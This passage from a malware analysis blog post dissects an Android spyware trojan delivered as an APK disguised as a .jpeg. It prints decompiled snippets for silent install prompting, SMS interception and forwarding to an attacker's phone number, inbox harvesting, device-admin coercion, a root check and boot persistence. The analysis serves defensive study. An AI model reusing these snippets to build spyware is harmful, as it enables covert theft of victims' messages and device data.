If you want, you can try to translate it as a challenge -:). But I will not give you help for this. Nice challenge, but what is most interesting for us now is contained in the method onClick() of the listener:
Then, a new intent is created in order to start the malware APK as a new task. To be a new task, the intent has to be created by this way:
Intent intent = new Intent("android.intent.action.VIEW");
Intent intent1 = intent.addFlags(0x10000000);
The flag value
0x10000000 corresponds to the
FLAG_ACTIVITY_NEW_TASK flag of the official Android for developers documentation. This will launch the malware activity as a new separated task on the system. But, what is again more interesting is the following chunk of code:
StringBuilder stringbuilder1 = new StringBuilder("file://");
String s2 = filePath;
Uri uri = Uri.parse(stringbuilder1.append(s2).toString());
Intent intent2 = intent.setDataAndType(uri,
"application/vnd.android.package-archive");
context.startActivity(intent);
As any googler would, I simply do a request on Google.com. My request is basically this one:
As we can see, I just copy/paste one line from the code above. Obviously, the first answer means a lot: “
android - how to install apk file programmatically…” But, what is worrying is that the .jpeg file has not been renamed to an .apk file... Beside, as you can see on the following picture, we can distinguish the APK magic number at the beginning of the file:
The dialog box appearing for the user (in Chinese) offers apparently two choices. But, only the Positive button is active. It means that the victim has only one choice available: “installing the malware”. Indeed, the listener of the negative button is empty…
Furthermore, by the fact that the app tests every 2 seconds if the malware is installed, the victim will ultimately click on the positive button… This concludes this section about the interesting way used by the malicious app to install a part of itself on the device. At the same time, we can notice that this method has the advantage to be well stealthy in the GFAN market.
The “Android. phone.com” malware: a spyware Trojan
The APK extracted from the a33.jpg file is composed of multiple activities with different roles. Because most of malicious actions inside this package are well known we will describe them only briefly. Furthermore, you can analyze them in detail by yourself since we will publish the full commented sources at the end of this analysis. The main purpose of this malware is to collect information and send it to a phone number which is known by attackers. Of course, bank accounts, money transactions, and other information to generate money are preferred. To filter the huge number of messages, a list of keywords is used and stored in a XML file: phone.xml.
Firstly, we will focus on the first class which is called: AndphoneActivity. The first interesting method we have seen in this class is getRunningServiceInfo(). In this method, the malware takes information about some services running on the operating system. The following lines allow reaching this purpose:
List list = mActivityManager.getRunningServices(20);
// get 20 services running on the device
Then, the RunningServiceInfo class is used to get a lot of information about the device:
android.app.ActivityManager.RunningServiceInfo runningserviceinfo =
(android.app.ActivityManager.RunningServiceInfo)iterator.next();
// gives information about a particular Service that is
// currently running on the system
Theses information can be of different nature:
int i = runningserviceinfo.pid;
  // If non-zero, this is the process the service is running in.
int j = runningserviceinfo.uid;
  // j = The UID that owns this service.
String s = runningserviceinfo.process;
  // s = The name of the process this service runs in.
long l = runningserviceinfo.activeSince;
…
In fact, most of what is done in this malware is to get information and send them by SMS at a phone number. Sending a SMS is very simple, it takes a few lines:
S49 = “13093632006”; // the phone number
smsmanager1 = SmsManager.getDefault();
smsmanager1.sendTextMessage(s49, null, "This is a message",
null, null);
  // Send a SMS containing “This is a message”
  // at the phone number 13093632006.
If the message to send is too long, smsmanager.divideMessage(s) can be used. Data sent are many and can be very useful for the attacker:
- Version of Android Operating System
- Language of the phone
- SIM’s provider Country code
- Mac address of the Android phone
- Android phone model
- ...
SMSReceiver : How to intercept SMS received?
The main idea of this class is to create a receiver for all SMS received on the victim’s device. It will intercept messages at the time when they are received on the phone. To do this, the onReceive() method is implemented to handle received messages.
Firstly, messages are extracted from PDUs(protocol data units): some simple methods are so employed:
- getMessageBody();
- getOriginatingAddress();
- getTimestampMillis();
Finally, messages are divided into small parts before they are sent to the phone number 13093632006. The method doing this is the following:
private void smssend(String s, String s1)
{
SmsManager smsmanager = SmsManager.getDefault();
Iterator iterator = smsmanager.divideMessage(s).iterator();
do
{
if(!iterator.hasNext()) return;
String s2 = (String)iterator.next();
String s3 = s1;
android.app.PendingIntent pendingintent = null;
android.app.PendingIntent pendingintent1 = null;
smsmanager.sendTextMessage(s3, null, s2,
pendingintent, pendingintent1);
} while(true);
How to get Privileges on the phone?
DevicePolicyManager
Analyzing the malware, we can deduce that the onCreate() method of the android.phone.com.andphone activity seems to be the starting point to get privileges on the phone. First of all, we can remark DevicePolicyManager which is the public interface for managing policies enforced on a device. In fact, a test is done at the beginning of the activity:
if(devicepolicymanager1.isAdminActive(componentname1))
// Return true if the given administrator component
// is currently active (enabled) in the system.
The program starts a kind of loop: “while isAdminActive() returns false, the android.phone.com.deviceAdminReceiver activity is launched”. We can suppose that this receiver allows getting root access. The code in the loop is the following:
Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
// add a new deviceAdmin component
ComponentName componentname2 = mDeviceComponentName;
Intent intent1 = intent.putExtra("android.app.extra.DEVICE_ADMIN",
componentname2);
Intent intent2 = intent.putExtra("android.app.extra.
ADD_EXPLANATION",
" Android \u7CFB\u7EDF\u670D\u52A1\n\u63A8\u8350\u6FC0\u6D3B
\u7CFB\u7EDF\u670D\u52A1\uFF0C\u7CFB\u7EDF\u670D\u52A1\u53EF\u4EE5
\u5E2E\u60A8\u7684\u6700\u5927\u7A0B\u5EA6\u7684\u8282\u7701\u7535
\u91CF");
startActivityForResult(intent, 1);
For those who have succeeded to decode the previous messages in Chinese, you can decode the message in the same way! For the others, I help you this time. A simple online utf-8 decoder is enough to decode the message in Chinese characters. The result is so:
Android 系统服务
推荐激活系统服务,系统服务可以帮您的最大程度的节省电量
Then, remembering that Google translate is “
our friend”, the message is:
Android System services
Recommended activation system services, system services can help
your greatest degree save power.
The su command
Basically, getting root access on a Linux operating system can be done by executing the command su. As you probably guessed, this is the same in an Android system. But beware, a password is needed when you use the su command. Why it is used here is that it shows whether the device is already rooted. The Runtime class allows using this technique:
process = Runtime.getRuntime().exec("su");
Of course, the program retrieves the standard output after the execution:
java.io.OutputStream outputstream = process.getOutputStream();
By this way, the program checks whether the operation to root the phone worked or not. This test is done by the method getRootAhth when the android.phone.com.andphone activity exits. If the returned value is true a SMS is sent to the attacker: “Has been activated, Already root”. Else, the SMS sent is “Has been activated, No root”. This is clear that attackers have programs which handle these SMS when they are received.
TService : a malicious background service running on startup
By definition, a
Service in Android is used to be running continuously. To be running on startup, a broadcast receiver is added to the application. This receiver is defined in the
TServiceBroadcastReceiver class of the package. Like every receivers, the method
onReceive() can be modified. Basically, a test is done with the function
getAction(): if the action received is
android.intent.action.BOOT_COMPLETED,
TService is launched in a new task. The code corresponding is the following:
public void onReceive(Context context, Intent intent)
{
if(!intent.getAction().equals("android.intent.action.
BOOT_COMPLETED")) return;
else
{
Intent intent1 = new Intent("android.intent.action.RUN");
Intent intent2 = intent1.setClass(context,
android/phone/com/TService);
Intent intent3 = intent1.setFlags(0x10000000);
android.content.ComponentName componentname =
context.startService(intent1);
return;
}
}
Now, if we look a little bit closer the TService class, we can observe that a method is implemented in order to get all SMS stored in the phone: getSmsInPhone(). The code to do this is known, it uses the method getContentResolver():
Uri uri = Uri.parse("content://sms/");
String as[] = new String[6];
as[0] = "_id";
as[1] = "address";
as[2] = "person";
as[3] = "body";
as[4] = "date";
as[5] = "type";
Cursor cursor1 = getContentResolver().query(uri, as, null, null,
"date desc");
// Query on the SQL database
Remark: getColumnIndex() returns the content from the database. Looking into the onDestroy() method of TService, we can notice that once again the program protect itself: the Service launch another instance of itself in a new task:
Intent intent = new Intent(context, android/phone/com/TService);
Intent intent1 = intent.setFlags(0x10000000);
// FLAG_ACTIVITY_NEW_TASK
ComponentName componentname = startService(intent);
Conclusion
In this analysis, all code has intentionally not been described in detail. Only parts that are very linked with the Android security point of view have been covered. Although, on what we have seen, there are many tips that are interesting from the Android Security point of view. For those who wish to go further and analyze by their own eyes:
here is the decompiled and commented code of the entire application. To prevent any misuse, all source code parts have been published as PDF files.
Valentin Hamon
(C + V)
O Lab